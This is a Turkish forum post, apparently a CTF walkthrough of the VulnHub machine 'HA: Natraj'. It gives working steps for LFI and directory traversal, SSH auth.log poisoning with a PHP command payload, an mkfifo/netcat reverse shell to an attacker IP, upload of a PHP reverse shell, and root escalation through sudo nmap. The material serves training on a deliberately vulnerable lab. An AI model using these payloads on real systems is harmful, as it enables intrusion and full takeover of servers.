- 27 Nis 2020
- 142
- 605
Arkadaşlar merhabalar HA: Natraj isimli CTFin çözümünü açıklayacağım.
İndirmek için https://www.vulnhub.com/entry/ha-natraj,489/ linkini kullanabilirsiniz.
Arkadaşlar çalışmalarımı VMware üzerinde yapacağım.
İlk olarak indirdiğimiz makinayı open ile VMware üzerinde açıyoruz
Default olarak Network Adapter ayarı Bridge olarak gelmektedir. Alışkanlık olarak onu bi NATseçeneğine alıyorum.
Herşey hazırsa başlayalım.
İlk olarak genelde kullanılan netdiscover toolu dışında bir başka tool (arp-scan) ile bu host discover işlemini yaparak başlayalım.
Kod:
arp-scan -l
arp-scan -l komutu network üzerinde ki arp paketlerini dinleyerek bir listeleme yapar.
Sonuçlar üzerinde kendi ip adresinizi göremezsiniz. Arp protokolü doğası gereği, kendi paketlerini kendi üzerlerine almazlar.
Port taraması ile devam edelim standart olarak nmap aracı ile ilerleyeceğiz.
Kod:
nmap sV A 10.1.1.165
-sV : version check
-A : agresif bir tarama başlat. (Enable OS detection, version detection, script scanning, and traceroute)
22 ve 80 portunu açık olarak bulduk.
İleride muhtemelen ssh için 22 portunu kullanacağız. Ancak ctf makinalarında banner üzerine flag yada hint gömülebiliyor kontrol etmekte fayda vardır.
Bişey çıkmadı. 80 üzerinden devam edelim.
Eğer ki ortada bir web sitesi varsa ilk akla gelen dirb aracı olmalıdır.
dirb : verilen sayfa üzerinde wordlistinde bulunan (dışarıdanda verilebilir) sonuna ekleyerek status kodlarına göre geri dönüş yapar. wfuzz aracı muadili olarak düşünülebilir. Prensip olarak aynı çalışsalarda sadece wordlistleri farklıdır. Zaten wordlistleri dışarıdan verilebileceğini söylemiştik.
Kod:
dirb http://10.1.1.165
console isminde bir dizin buldu.
Klasör içerisinde file.php dosyası var.
LFI için çanlar çalıyor.
Directory Traversal deneyelim.
Tamaaam kapıyı bulduk :mahcup:
Web request üzerinde gerçekleşen bir zafiyet bulunuyorsa testleri elimizle yapmak yerine Burp Suit aracını kullanmak kolaylık sağlayacaktır.
Burp Suit : Proxy olarak araya girerek çeşitli payloadlar deneyebileceğiniz, requesteri manipüle ederek tekrar tekrar deneyebileceğiniz ve daha bir sürü şey yapabileceğiniz bir araçtır.
Aşağıda belirtildiği şekilde tarayıcınızın Proxy ayarlarını burp için yapabilirsiniz. Burp Suit default olarak 8080 portunu dinler.
Burp Suit aracını açıyoruz ve daha önceden yaptığımız http://10.1.1.165/console/file.php?file=../../../../../../../../../../../etc/passwd isteğini yeniliyoruz.
İstek Burp Suit üzerinde Proxy sekmesi altında Intercept sekmesine düşmektedir.
Burada ki file parametresini manupule edeceğiz. Bunun için Burp Suitin Repeater özelliğini kullanacağız.
Burp Suit : Repeater : adından da anlaşılacağı gibi kendisine verilen isteği tekrarlar. Bu aşamada bize web request üzerinde oynama yapma imkanı sağlar.
Görülen isteğin herhangi bir yerinde sağ tık yapılır > Send to Repeater
Repeater sekmesine geldiğimiz zaman orada web requestimiz gelmiştir.
Send tuşuna basarak isteği tekrar gönderebiliriz ve Response bölümünde isteğimize gelen karşılık bulunmaktadır.
biz passwd dosyasını response olarak alabiliyorsak peki başka dosyaları da alabilir miyiz ?
Denemek istediğim dosya bir log dosyası.
Linux bir sistemde ssh giriş logları /var/log/auth.log dosyası altında bulunmaktadır.
Şimdi arkadaşlar şu ana kadar neler öğrendik bir toplayalım.
-Sistem üzerinde php kullanılıyor.
-LFI zafiyeti var ve Directory Traversal şeklinde exploit edilebiliyor.
-ssh denemeleri yapabiliriz.
Şimdi şunu düşünmenizi istiyorum /var/log/auth.log dosyası çağırıldığı zaman aslında bir php server üzerinde render ediliyor ve ekrana veriliyor. Peki bir şekilde auth.log dosyası içerisine php kodu gömebilirsek ne olur ?
Deneyelim.
Kod:
ssh '<?php system($_GET['cmd']); ?>'@10.1.1.165
Şeklinde bir ssh denemesi yapalım. Burada ki amacımız; auth.log dosyasını cmd parametresi ile dışarıdan komut alabilir hale getirmek ve aldığı komutu system fonksiyonuna vererek kodun çalıştırılmasını sağlamak.
NOT: arkadaşlar denemeler yaparken birkaç defa CTF makinasını bozdum. Dolayısıyla eğer ki denemeler sonucunda response kısmını boş yada anlamsız görüyorsanız CTF makinasını silip geri yüklemek zorunda kalabilirsiniz :mahcup:"
Cmd parametresi üzerinde id komutunu gönderdiğimiz taktirde; komutun işlenip geri dönüş yaptığını gözlemleyebiliyoruz.
Shell almak için kullanacağımız komut;
Kod:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.1.1.163 1234 >/tmp/f
Linux sistemler üzerinde /tmp klasörü permissionları genellikle 777 şeklinde yani herkesin kullanabileceği şekilde gelir.
Kafa karışıklığı olmaması için elimden geldiği kadar kullanacağımız kodu açıklayayım.
rm /tmp/f : tmp klasörü altında ki f dosyasını sil.
mkfifo /tmp/f : tmp altında f dosyasını oluştur.
cat /tmp/f|/bin/sh -i 2>&1: f dosyasını oku ve çıktısını (|) /bin/sh üzerinde çalıştır error loglarını çöpe at (2>&1)
nc 10.1.1.163 1234 > /tmp/f : netcat ile saldırgan makinaya 1234 portu üzerine bağlan gelen istekleri /tmp/f dosyasına yaz (bir üst satırda bahsedildiği şekilde girilen komutlar çalıştırılır)
mkfifo komutuna ufak bir değinmek istiyorum.
mkfifo bir dosya oluşturur ve süreçler arası iletişim için müsait bir dosya oluşturur.
Saldırgan üzerinden gelen komutların /bin/sh üzerinde çalıştırılabilmesi için gereklidir.
Konumuza dönersek elimizde bir komut var ancak biz bunu Burp Suit ile göndermek mecburiyetindeyiz. Bunu web request e uygun bir hale getirmek için Url Encode yapmamız gerekmektedir.
netcat aracı ile bir handler oluşturuyoruz.
İsteğimizi gönderelim.
Response kısmını boş görmemiz gerekiyor. Eğer ki geri dönüş alıyorsanız komutu tekrar kontrol ediniz.
Shell geldi. Öncelikle shellimizi interaktif Shelle çevirelim.
Python 2 için : python -c 'import pty; pty.spawn("/bin/bash")';
Python 3 için : python3 -c 'import pty; pty.spawn("/bin/bash")';
Komutlarını kullanabilirsiniz.
E bunu yazmasaydık olmaz mıydı ? olurdu ama tercih meselesi tabi.
Kod:
cat /etc/passwd
Komutu ile sistemde bulunan kullanıcıların listesini alıyoruz. Burada bakmamız gereken sistemin kendisi için varolan kullanıcılar dışında son kullanıcılar için oluşturulan kullanıcılardır.
natraj ve mahakal kullanıcılarını keşfediyoruz.
Kod:
cd /tmp
Komutu ile tmp klasörüne gidiyoruz.
Kod:
find / -type f -perm 0777 > 777
bu komut ile makine üzerinde 777 full permission verilmiş dosyaları ekrana getirir. Ancak doğrudan yazıldığı zaman çoğu dosyada permission denied görebiliriz. Bunları exclude edebilmek için bir dosyaya yazdırıyoruz.
Apache2.conf dosyası apache servisinin configuration dosyasıdır.
İçerisinde User ve Group isminde 2 adet değişken vardır.
Standart olarak apache2 servisi cihaz üzerinde sadece bu iş için oluşturulmuş www-data kullanıcısını kullanır. Bu kullanıcıyı bu dosyadan alır.
Kod:
cp /etc/apache2/apache2.conf /tmp/apache2.conf
apache2.conf dosyasını tmp altına kopyalıyoruz. Bu dosyayı değiştirmek için saldırgan makine üzerine alacağız. Nano ve vi kullanımı sıkıntı yarattı shellden dolayı.
Eğer ki sistem üzerinde python var ise; bu işlem için en basit kullanabilecek işlem python ile basit bir web servis ayaklandırmaktır.
Version 2 için : python -m SimpleHTTPServer 9090
Version 3 için : python3 -m http.server 9090
Kod:
wget http://10.1.1.165:9090/apache2.conf
Saldırgan makine üzerinde "wget" komutu ile download işlemi gerçekleştirilir.
apache2.conf dosyasında bulunan User ve Group değerlerini ilk başta bulduğumuz kullanıcı isimlerinden birisi olan mahakal ile değiştiriyoruz.
Yine python ile bir web servis açarak dosyayı ctf makinası üzerine wget ile taşıyoruz. (tmp klasörü altına kopyaladığımız apache2.conf dosyasını siliyoruz.)
Kod:
cp /tmp/apache2.conf /etc/apache2/apache2.conf
Mevcut apache2.conf dosyasını overwrite ediyoruz.
Php üzerinden tcp reverse shell alabilmek için https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php sitesinde bulunan kodları shell.php dosyası üzerine kopyalıyoruz.
CHANGE THIS olarak verilen 2 parametreyi değiştiriyoruz.
$ip = saldırgan ip
$port = dinlenecek port
Yine python ile servis açıp wget ile dosyayı çekiyoruz ve /var/www/html/ altına kopyalıyoruz.
Netcat aracı ile 5555 portu üzerine yeni bir handler açıyoruz.
Shell.php dosyasını çağırmadan önce ctf makinasını restart etmemiz gerekmekte. Çünkü apache2.conf dosyasını değiştirdik ancak geçerli olabilmesi için apache2 servisini yeniden başlatmamız gerekli. service apache2 restart komutunu denedim ancak çalışmadı. Açıkçası çokta uğraşasım gelmedi direk restart ettim makinayı :mahcup:
Kod:
sudo l
Bu komutu ile sudoers dosyası üzerinde bulunan ve kullanıcı için özellikle izin verilmiş dosyaları görebiliriz.
(root) NOPASSWD : /usr/bin/nmap
peki bu bize ne söyler ?
nmap aracını root yetkisi ile parola sormadan çalıştırabiliriz.
Nmap aracı üzerinde nmapin kendi scriptlerini yada dışardan kendimizin verebileceği scriptleri kullanabilmemiz mümkündür. Bu ctf üzerinde bu özelliği kullanacağız.
Kod:
TF=$(mktemp)
Kod:
echo os.execute(/bin/sh) > $TF
Kod:
sudo u root nmap script=$TF
Kodlar böyle ama neden ?
Os.execute(/bin/sh) komutunu script olarak nmap e veriyoruz ve nmapi root olarak çalıştırıyoruz. Os.execute bize mevcut kullanıcının shellini veriyor ve biz nmap aracını root yetkisi ile çalıştırdığımız için bize root kullanıcısının shellini veriyor.
Artık rootuz
Kod:
cat /root/root.txt
Captured the flag !!!
Arkadaşlar herhangi bir konu hakkında soru işaretiniz varsa herzaman mesaj ile iletişim kurabilirsiniz.
Okuduğunuz için teşekkürler.
İyi Forumlar.
Moderatör tarafında düzenlendi: